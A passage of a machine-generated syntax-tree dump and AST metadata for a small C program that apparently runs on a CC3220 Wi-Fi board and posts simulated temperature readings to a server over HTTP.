"(server_addr)" (() "(" (identifier) "server_addr" ()) ")" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n perror("connect");\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n perror("connect");\n }" ({) "{" (expression_statement) "perror("connect");" (call_expression) "perror("connect")" (identifier) "perror" (argument_list) "("connect")" (() "(" (string_literal) ""connect"" (") """ (string_content) "connect" (") """ ()) ")" (;) ";" (}) "}" (return_statement) "return fd;" (return) "return" (identifier) "fd" (;) ";" (}) "}" (function_definition) "int send_request(int sock, const char* request, int reqlen)\n{\n int ret = 0;\n printf("send request %d...\n", reqlen);\n ret = send(sock, request, reqlen, 0);\n if (ret < 0) {\n perror("send");\n }\n printf("%d bytes sent\n", ret);\n return ret;\n}" (primitive_type) "int" (function_declarator) "send_request(int sock, const char* request, int reqlen)" (identifier) "send_request" (parameter_list) "(int sock, const char* request, int reqlen)" (() "(" (parameter_declaration) "int sock" (primitive_type) "int" (identifier) "sock" (,) "," (parameter_declaration) "const char* request" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* request" (*) "*" (identifier) "request" (,) "," (parameter_declaration) "int reqlen" (primitive_type) "int" (identifier) "reqlen" ()) ")" (compound_statement) "{\n int ret = 0;\n printf("send request %d...\n", reqlen);\n ret = send(sock, request, reqlen, 0);\n if (ret < 0) {\n perror("send");\n }\n printf("%d bytes sent\n", ret);\n return ret;\n}" ({) "{" (declaration) "int ret = 0;" (primitive_type) "int" (init_declarator) "ret = 0" (identifier) "ret" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "printf("send request %d...\n", reqlen);" (call_expression) "printf("send request %d...\n", reqlen)" (identifier) "printf" (argument_list) "("send request %d...\n", reqlen)" (() "(" (string_literal) ""send request %d...\n"" (") """ (string_content) "send request %d..." (escape_sequence) "\n" (") """ (,) "," (identifier) "reqlen" ()) ")" (;) ";" (expression_statement) "ret = send(sock, request, reqlen, 0);" (assignment_expression) "ret = send(sock, request, reqlen, 0)" (identifier) "ret" (=) "=" (call_expression) "send(sock, request, reqlen, 0)" (identifier) "send" (argument_list) "(sock, request, reqlen, 0)" (() "(" (identifier) "sock" (,) "," (identifier) "request" (,) "," (identifier) "reqlen" (,) "," (number_literal) "0" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n perror("send");\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n perror("send");\n }" ({) "{" (expression_statement) "perror("send");" (call_expression) "perror("send")" (identifier) "perror" (argument_list) "("send")" (() "(" (string_literal) ""send"" (") """ (string_content) "send" (") """ ()) ")" (;) ";" (}) "}" (expression_statement) "printf("%d bytes sent\n", ret);" (call_expression) "printf("%d bytes sent\n", ret)" (identifier) "printf" (argument_list) "("%d bytes sent\n", ret)" (() "(" (string_literal) ""%d bytes sent\n"" (") """ (string_content) "%d bytes sent" (escape_sequence) "\n" (") """ (,) "," (identifier) "ret" ()) ")" (;) ";" (return_statement) "return ret;" (return) "return" (identifier) "ret" (;) ";" (}) "}" (function_definition) "int recv_response(int sock, char* buffer, int buflen)\n{\n char *p;\n int EOH, CL;\n int ret, count, content_length;\n\n CL = EOH = 0;\n count = 0;\n content_length = 0;\n while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n printf("received %d bytes...\n", ret);\n //hexdump(&buffer[count], ret);\n count += ret;\n if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }\n if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }\n if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }\n }\n if (ret < 0) {\n perror("recv");\n }\n buffer[count] = '\0';\n return count;\n}" (primitive_type) "int" (function_declarator) "recv_response(int sock, char* buffer, int buflen)" (identifier) "recv_response" (parameter_list) "(int sock, char* buffer, int buflen)" (() "(" (parameter_declaration) "int sock" (primitive_type) "int" (identifier) "sock" (,) "," (parameter_declaration) "char* buffer" (primitive_type) "char" (pointer_declarator) "* buffer" (*) "*" (identifier) "buffer" (,) "," (parameter_declaration) "int buflen" (primitive_type) "int" (identifier) "buflen" ()) ")" (compound_statement) "{\n char *p;\n int EOH, CL;\n int ret, count, content_length;\n\n CL = EOH = 0;\n count = 0;\n content_length = 0;\n while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n printf("received %d bytes...\n", ret);\n //hexdump(&buffer[count], ret);\n count += ret;\n if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }\n if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }\n if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }\n }\n if (ret < 0) {\n perror("recv");\n }\n buffer[count] = '\0';\n return count;\n}" ({) "{" (declaration) "char *p;" (primitive_type) "char" (pointer_declarator) "*p" (*) "*" (identifier) "p" (;) ";" (declaration) "int EOH, CL;" (primitive_type) "int" (identifier) "EOH" (,) "," (identifier) "CL" (;) ";" (declaration) "int ret, count, content_length;" (primitive_type) "int" (identifier) "ret" (,) "," (identifier) "count" (,) "," (identifier) "content_length" (;) ";" (expression_statement) "CL = EOH = 0;" (assignment_expression) "CL = EOH = 0" (identifier) "CL" (=) "=" (assignment_expression) "EOH = 0" (identifier) "EOH" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "count = 0;" (assignment_expression) "count = 0" (identifier) "count" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "content_length = 0;" (assignment_expression) "content_length = 0" (identifier) "content_length" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n printf("received %d bytes...\n", ret);\n //hexdump(&buffer[count], ret);\n count += ret;\n if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }\n if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }\n if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }\n }" (while) "while" (parenthesized_expression) "((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0)" (() "(" (binary_expression) "(ret = recv(sock, &buffer[count], buflen - count, 0)) > 0" (parenthesized_expression) "(ret = recv(sock, &buffer[count], buflen - count, 0))" (() "(" (assignment_expression) "ret = recv(sock, &buffer[count], buflen - count, 0)" (identifier) "ret" (=) "=" (call_expression) "recv(sock, &buffer[count], buflen - count, 0)" (identifier) "recv" (argument_list) "(sock, &buffer[count], buflen - count, 0)" (() "(" (identifier) "sock" (,) "," (pointer_expression) "&buffer[count]" (&) "&" (subscript_expression) "buffer[count]" (identifier) "buffer" ([) "[" (identifier) "count" (]) "]" (,) "," (binary_expression) "buflen - count" (identifier) "buflen" (-) "-" (identifier) "count" (,) "," (number_literal) "0" ()) ")" ()) ")" (>) ">" (number_literal) "0" ()) ")" (compound_statement) "{\n printf("received %d bytes...\n", ret);\n //hexdump(&buffer[count], ret);\n count += ret;\n if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }\n if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }\n if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }\n }" ({) "{" (expression_statement) "printf("received %d bytes...\n", ret);" (call_expression) "printf("received %d bytes...\n", ret)" (identifier) "printf" (argument_list) "("received %d bytes...\n", ret)" (() "(" (string_literal) ""received %d bytes...\n"" (") """ (string_content) "received %d bytes..." (escape_sequence) "\n" (") """ (,) "," (identifier) "ret" ()) ")" (;) ";" (comment) "//hexdump(&buffer[count], ret);" (expression_statement) "count += ret;" (assignment_expression) "count += ret" (identifier) "count" (+=) "+=" (identifier) "ret" (;) ";" (if_statement) "if ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }" (if) "if" (parenthesized_expression) "((p = strstr(buffer, HTTP_EOH)) != NULL)" (() "(" (binary_expression) "(p = strstr(buffer, HTTP_EOH)) != NULL" (parenthesized_expression) "(p = strstr(buffer, HTTP_EOH))" (() "(" (assignment_expression) "p = strstr(buffer, HTTP_EOH)" (identifier) "p" (=) "=" (call_expression) "strstr(buffer, HTTP_EOH)" (identifier) "strstr" (argument_list) "(buffer, HTTP_EOH)" (() "(" (identifier) "buffer" (,) "," (identifier) "HTTP_EOH" ()) ")" ()) ")" (!=) "!=" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n EOH = p - buffer;\n printf("EOH at %d\n", EOH);\n }" ({) "{" (expression_statement) "EOH = p - buffer;" (assignment_expression) "EOH = p - buffer" (identifier) "EOH" (=) "=" (binary_expression) "p - buffer" (identifier) "p" (-) "-" (identifier) "buffer" (;) ";" (expression_statement) "printf("EOH at %d\n", EOH);" (call_expression) "printf("EOH at %d\n", EOH)" (identifier) "printf" (argument_list) "("EOH at %d\n", EOH)" (() "(" (string_literal) ""EOH at %d\n"" (") """ (string_content) "EOH at %d" (escape_sequence) "\n" (") """ (,) "," (identifier) "EOH" ()) ")" (;) ";" (}) "}" (if_statement) "if ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }" (if) "if" (parenthesized_expression) "((p = strstr(buffer, CONTENT_LENGTH)) != NULL)" (() "(" (binary_expression) "(p = strstr(buffer, CONTENT_LENGTH)) != NULL" (parenthesized_expression) "(p = strstr(buffer, CONTENT_LENGTH))" (() "(" (assignment_expression) "p = strstr(buffer, CONTENT_LENGTH)" (identifier) "p" (=) "=" (call_expression) "strstr(buffer, CONTENT_LENGTH)" (identifier) "strstr" (argument_list) "(buffer, CONTENT_LENGTH)" (() "(" (identifier) "buffer" (,) "," (identifier) "CONTENT_LENGTH" ()) ")" ()) ")" (!=) "!=" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n CL = p - buffer;\n content_length = atoi(p + strlen(CONTENT_LENGTH));\n printf("CL at %d, value: %d\n", CL, content_length);\n }" ({) "{" (expression_statement) "CL = p - buffer;" (assignment_expression) "CL = p - buffer" (identifier) "CL" (=) "=" (binary_expression) "p - buffer" (identifier) "p" (-) "-" (identifier) "buffer" (;) ";" (expression_statement) "content_length = atoi(p + strlen(CONTENT_LENGTH));" (assignment_expression) "content_length = atoi(p + strlen(CONTENT_LENGTH))" (identifier) "content_length" (=) "=" (call_expression) "atoi(p + strlen(CONTENT_LENGTH))" (identifier) "atoi" (argument_list) "(p + strlen(CONTENT_LENGTH))" (() "(" (binary_expression) "p + strlen(CONTENT_LENGTH)" (identifier) "p" (+) "+" (call_expression) "strlen(CONTENT_LENGTH)" (identifier) "strlen" (argument_list) "(CONTENT_LENGTH)" (() "(" (identifier) "CONTENT_LENGTH" ()) ")" ()) ")" (;) ";" (expression_statement) "printf("CL at %d, value: %d\n", CL, content_length);" (call_expression) "printf("CL at %d, value: %d\n", CL, content_length)" (identifier) "printf" (argument_list) "("CL at %d, value: %d\n", CL, content_length)" (() "(" (string_literal) ""CL at %d, value: %d\n"" (") """ (string_content) "CL at %d, value: %d" (escape_sequence) "\n" (") """ (,) "," (identifier) "CL" (,) "," (identifier) "content_length" ()) ")" (;) ";" (}) "}" (if_statement) "if (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n break;\n }" (if) "if" (parenthesized_expression) "(CL && count - EOH - strlen(HTTP_EOH) >= content_length)" (() "(" (binary_expression) "CL && count - EOH - strlen(HTTP_EOH) >= content_length" (identifier) "CL" (&&) "&&" (binary_expression) "count - EOH - strlen(HTTP_EOH) >= content_length" (binary_expression) "count - EOH - strlen(HTTP_EOH)" (binary_expression) "count - EOH" (identifier) "count" (-) "-" (identifier) "EOH" (-) "-" (call_expression) "strlen(HTTP_EOH)" (identifier) "strlen" (argument_list) "(HTTP_EOH)" (() "(" (identifier) "HTTP_EOH" ()) ")" (>=) ">=" (identifier) "content_length" ()) ")" (compound_statement) "{\n break;\n }" ({) "{" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (if_statement) "if (ret < 0) {\n perror("recv");\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n perror("recv");\n }" ({) "{" (expression_statement) "perror("recv");" (call_expression) "perror("recv")" (identifier) "perror" (argument_list) "("recv")" (() "(" (string_literal) ""recv"" (") """ (string_content) "recv" (") """ ()) ")" (;) ";" (}) "}" (expression_statement) "buffer[count] = '\0';" (assignment_expression) "buffer[count] = '\0'" (subscript_expression) "buffer[count]" (identifier) "buffer" ([) "[" (identifier) "count" (]) "]" (=) "=" (char_literal) "'\0'" (') "'" (escape_sequence) "\0" (') "'" (;) ";" (return_statement) "return count;" (return) "return" (identifier) "count" (;) ";" (}) "}" (function_definition) "int prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)\n{\n char line[128];\n\n sprintf(buffer, "POST %s HTTP/1.1\r\n", path);\n sprintf(line, "Host: %s:%d\r\n", host, port);\n strcat(buffer, line);\n strcat(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n");\n sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp));\n strcat(buffer, line);\n strcat(buffer, "\r\n");\n sprintf(line, "temp=%d", temp);\n strcat(buffer, line);\n\n return strlen(buffer);\n}" (primitive_type) "int" (function_declarator) "prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)" (identifier) "prepare_request" (parameter_list) "(char* buffer, int buflen, const char* host, int port, const char* path, int temp)" (() "(" (parameter_declaration) "char* buffer" (primitive_type) "char" (pointer_declarator) "* buffer" (*) "*" (identifier) "buffer" (,) "," (parameter_declaration) "int buflen" (primitive_type) "int" (identifier) "buflen" (,) "," (parameter_declaration) "const char* host" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* host" (*) "*" (identifier) "host" (,) "," (parameter_declaration) "int port" (primitive_type) "int" (identifier) "port" (,) "," (parameter_declaration) "const char* path" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* path" (*) "*" (identifier) "path" (,) "," (parameter_declaration) "int temp" (primitive_type) "int" (identifier) "temp" ()) ")" (compound_statement) "{\n char line[128];\n\n sprintf(buffer, "POST %s HTTP/1.1\r\n", path);\n sprintf(line, "Host: %s:%d\r\n", host, port);\n strcat(buffer, line);\n strcat(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n");\n sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp));\n strcat(buffer, line);\n strcat(buffer, "\r\n");\n sprintf(line, "temp=%d", temp);\n strcat(buffer, line);\n\n return strlen(buffer);\n}" ({) "{" (declaration) "char line[128];" (primitive_type) "char" (array_declarator) "line[128]" (identifier) "line" ([) "[" (number_literal) "128" (]) "]" (;) ";" (expression_statement) "sprintf(buffer, "POST %s HTTP/1.1\r\n", path);" (call_expression) "sprintf(buffer, "POST %s HTTP/1.1\r\n", path)" (identifier) "sprintf" (argument_list) "(buffer, "POST %s HTTP/1.1\r\n", path)" (() "(" (identifier) "buffer" (,) "," (string_literal) ""POST %s HTTP/1.1\r\n"" (") """ (string_content) "POST %s HTTP/1.1" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (,) "," (identifier) "path" ()) ")" (;) ";" (expression_statement) "sprintf(line, "Host: %s:%d\r\n", host, port);" (call_expression) "sprintf(line, "Host: %s:%d\r\n", host, port)" (identifier) "sprintf" (argument_list) "(line, "Host: %s:%d\r\n", host, port)" (() "(" (identifier) "line" (,) "," (string_literal) ""Host: %s:%d\r\n"" (") """ (string_content) "Host: %s:%d" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (,) "," (identifier) "host" (,) "," (identifier) "port" ()) ")" (;) ";" (expression_statement) "strcat(buffer, line);" (call_expression) "strcat(buffer, line)" (identifier) "strcat" (argument_list) "(buffer, line)" (() "(" (identifier) "buffer" (,) "," (identifier) "line" ()) ")" (;) ";" (expression_statement) "strcat(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n");" (call_expression) "strcat(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n")" (identifier) "strcat" (argument_list) "(buffer, "User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n")" (() "(" (identifier) "buffer" (,) "," (concatenated_string) ""User-Agent: CC3220\r\n"\n "Accept: */*\r\n"\n "Content-Type: application/x-www-form-urlencoded\r\n"" (string_literal) ""User-Agent: CC3220\r\n"" (") """ (string_content) "User-Agent: CC3220" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (string_literal) ""Accept: */*\r\n"" (") """ (string_content) "Accept: */*" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (string_literal) ""Content-Type: application/x-www-form-urlencoded\r\n"" (") """ (string_content) "Content-Type: application/x-www-form-urlencoded" (escape_sequence) "\r" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp));" (call_expression) "sprintf(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp))" (identifier) "sprintf" (argument_list) "(line, "Content-Length: %d\r\n", sprintf(line, "temp=%d", temp))" (() "(" (identifier) "line" (,) "," (string_literal) ""Content-Length: %d\r\n"" (") """ (string_content) "Content-Length: %d" (escape_sequence) "\r" (escape_sequence) "\n" (") """ (,) "," (call_expression) "sprintf(line, "temp=%d", temp)" (identifier) "sprintf" (argument_list) "(line, "temp=%d", temp)" (() "(" (identifier) "line" (,) "," (string_literal) ""temp=%d"" (") """ (string_content) "temp=%d" (") """ (,) "," (identifier) "temp" ()) ")" ()) ")" (;) ";" (expression_statement) "strcat(buffer, line);" (call_expression) "strcat(buffer, line)" (identifier) "strcat" (argument_list) "(buffer, line)" (() "(" (identifier) "buffer" (,) "," (identifier) "line" ()) ")" (;) ";" (expression_statement) "strcat(buffer, "\r\n");" (call_expression) "strcat(buffer, "\r\n")" (identifier) "strcat" (argument_list) "(buffer, "\r\n")" (() "(" (identifier) "buffer" (,) "," (string_literal) ""\r\n"" (") """ (escape_sequence) "\r" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "sprintf(line, "temp=%d", temp);" (call_expression) "sprintf(line, "temp=%d", temp)" (identifier) "sprintf" (argument_list) "(line, "temp=%d", temp)" (() "(" (identifier) "line" (,) "," (string_literal) ""temp=%d"" (") """ (string_content) "temp=%d" (") """ (,) "," (identifier) "temp" ()) ")" (;) ";" (expression_statement) "strcat(buffer, line);" (call_expression) "strcat(buffer, line)" (identifier) "strcat" (argument_list) "(buffer, line)" (() "(" (identifier) "buffer" (,) "," (identifier) "line" ()) ")" (;) ";" (return_statement) "return strlen(buffer);" (return) "return" (call_expression) "strlen(buffer)" (identifier) "strlen" (argument_list) "(buffer)" (() "(" (identifier) "buffer" ()) ")" (;) ";" (}) "}" (function_definition) "int main(int argc, char *argv[])\n{\n int sock;\n\n wlan_init();\n\n printf("connect to server...\n");\n sock = connect_to_server(HOST, PORT);\n\n for (int i = 0; i < 10; i++) {\n int reqlen, temperature;\n\n temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);\n\n printf("send request...\n");\n send_request(sock, REQUEST, reqlen);\n\n printf("recv response...\n");\n recv_response(sock, RESPONSE, sizeof(RESPONSE));\n printf("RESPONSE: %s\n", RESPONSE);\n\n sleep(1);\n }\n\n close(sock);\n\n printf("done\n");\n\n return 0;\n}" (primitive_type) "int" (function_declarator) "main(int argc, char *argv[])" (identifier) "main" (parameter_list) "(int argc, char *argv[])" (() "(" (parameter_declaration) "int argc" (primitive_type) "int" (identifier) "argc" (,) "," (parameter_declaration) "char *argv[]" (primitive_type) "char" (pointer_declarator) "*argv[]" (*) "*" (array_declarator) "argv[]" (identifier) "argv" ([) "[" (]) "]" ()) ")" (compound_statement) "{\n int sock;\n\n wlan_init();\n\n printf("connect to server...\n");\n sock = connect_to_server(HOST, PORT);\n\n for (int i = 0; i < 10; i++) {\n int reqlen, temperature;\n\n temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);\n\n printf("send request...\n");\n send_request(sock, REQUEST, reqlen);\n\n printf("recv response...\n");\n recv_response(sock, RESPONSE, sizeof(RESPONSE));\n printf("RESPONSE: %s\n", RESPONSE);\n\n sleep(1);\n }\n\n close(sock);\n\n printf("done\n");\n\n return 0;\n}" ({) "{" (declaration) "int sock;" (primitive_type) "int" (identifier) "sock" (;) ";" (expression_statement) "wlan_init();" (call_expression) "wlan_init()" (identifier) "wlan_init" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "printf("connect to server...\n");" (call_expression) "printf("connect to server...\n")" (identifier) "printf" (argument_list) "("connect to server...\n")" (() "(" (string_literal) ""connect to server...\n"" (") """ (string_content) "connect to server..." (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "sock = connect_to_server(HOST, PORT);" (assignment_expression) "sock = connect_to_server(HOST, PORT)" (identifier) "sock" (=) "=" (call_expression) "connect_to_server(HOST, PORT)" (identifier) "connect_to_server" (argument_list) "(HOST, PORT)" (() "(" (identifier) "HOST" (,) "," (identifier) "PORT" ()) ")" (;) ";" (for_statement) "for (int i = 0; i < 10; i++) {\n int reqlen, temperature;\n\n temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);\n\n printf("send request...\n");\n send_request(sock, REQUEST, reqlen);\n\n printf("recv response...\n");\n recv_response(sock, RESPONSE, sizeof(RESPONSE));\n printf("RESPONSE: %s\n", RESPONSE);\n\n sleep(1);\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < 10" (identifier) "i" (<) "<" (number_literal) "10" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n int reqlen, temperature;\n\n temperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);\n\n printf("send request...\n");\n send_request(sock, REQUEST, reqlen);\n\n printf("recv response...\n");\n recv_response(sock, RESPONSE, sizeof(RESPONSE));\n printf("RESPONSE: %s\n", RESPONSE);\n\n sleep(1);\n }" ({) "{" (declaration) "int reqlen, temperature;" (primitive_type) "int" (identifier) "reqlen" (,) "," (identifier) "temperature" (;) ";" (expression_statement) "temperature = 15 + i;" (assignment_expression) "temperature = 15 + i" (identifier) "temperature" (=) "=" (binary_expression) "15 + i" (number_literal) "15" (+) "+" (identifier) "i" (;) ";" (comment) "// 20 + 5*sin(M_PI*2/10*i);" (expression_statement) "reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature);" (assignment_expression) "reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature)" (identifier) "reqlen" (=) "=" (call_expression) "prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature)" (identifier) "prepare_request" (argument_list) "(REQUEST, sizeof(REQUEST), HOST, PORT, "/temp", temperature)" (() "(" (identifier) "REQUEST" (,) "," (sizeof_expression) "sizeof(REQUEST)" (sizeof) "sizeof" (parenthesized_expression) "(REQUEST)" (() "(" (identifier) "REQUEST" ()) ")" (,) "," (identifier) "HOST" (,) "," (identifier) "PORT" (,) "," (string_literal) ""/temp"" (") """ (string_content) "/temp" (") """ (,) "," (identifier) "temperature" ()) ")" (;) ";" (expression_statement) "printf("send request...\n");" (call_expression) "printf("send request...\n")" (identifier) "printf" (argument_list) "("send request...\n")" (() "(" (string_literal) ""send request...\n"" (") """ (string_content) "send request..." (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "send_request(sock, REQUEST, reqlen);" (call_expression) "send_request(sock, REQUEST, reqlen)" (identifier) "send_request" (argument_list) "(sock, REQUEST, reqlen)" (() "(" (identifier) "sock" (,) "," (identifier) "REQUEST" (,) "," (identifier) "reqlen" ()) ")" (;) ";" (expression_statement) "printf("recv response...\n");" (call_expression) "printf("recv response...\n")" (identifier) "printf" (argument_list) "("recv response...\n")" (() "(" (string_literal) ""recv response...\n"" (") """ (string_content) "recv response..." (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "recv_response(sock, RESPONSE, sizeof(RESPONSE));" (call_expression) "recv_response(sock, RESPONSE, sizeof(RESPONSE))" (identifier) "recv_response" (argument_list) "(sock, RESPONSE, sizeof(RESPONSE))" (() "(" (identifier) "sock" (,) "," (identifier) "RESPONSE" (,) "," (sizeof_expression) "sizeof(RESPONSE)" (sizeof) "sizeof" (parenthesized_expression) "(RESPONSE)" (() "(" (identifier) "RESPONSE" ()) ")" ()) ")" (;) ";" (expression_statement) "printf("RESPONSE: %s\n", RESPONSE);" (call_expression) "printf("RESPONSE: %s\n", RESPONSE)" (identifier) "printf" (argument_list) "("RESPONSE: %s\n", RESPONSE)" (() "(" (string_literal) ""RESPONSE: %s\n"" (") """ (string_content) "RESPONSE: %s" (escape_sequence) "\n" (") """ (,) "," (identifier) "RESPONSE" ()) ")" (;) ";" (expression_statement) "sleep(1);" (call_expression) "sleep(1)" (identifier) "sleep" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "close(sock);" (call_expression) "close(sock)" (identifier) "close" (argument_list) "(sock)" (() "(" (identifier) "sock" ()) ")" (;) ";" (expression_statement) "printf("done\n");" (call_expression) "printf("done\n")" (identifier) "printf" (argument_list) "("done\n")" (() "(" (string_literal) ""done\n"" (") """ (string_content) "done" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}"
1,484
0
{"language": "c", "success": true, "metadata": {"lines": 157, "avg_line_length": 26.8, "nodes": 885, "errors": 0, "source_hash": "e10c4e4b52e29b0c5b84aaf4ac860f79f97b60c27def6af36a909040dccb8979", "categorized_nodes": 598}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifdef CONFIG_HAS_CC3220SDK\n#include <kernel.h>\n#include <misc/printk.h>\n#include <ti/drivers/net/wifi/simplelink.h>\n#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n#define printf printk\n#define UART_PRINT printk\n#define perror(str) printk(\"perror %s+%d: %s\", __FILE__, __LINE__, str)\n#define sleep(s) k_sleep((s) * 1000)\n#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 21, 25, 29, 35, 41, 67], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 23, "column": 6}}, {"id": 1, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 6}}, {"id": 2, "type": "identifier", "text": "CONFIG_HAS_CC3220SDK", "parent": 0, "children": [], "start_point": {"row": 0, "column": 7}, "end_point": {"row": 0, "column": 27}}, {"id": 3, "type": "preproc_include", "text": "#include <kernel.h>\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<kernel.h>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "preproc_include", "text": "#include <misc/printk.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<misc/printk.h>", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 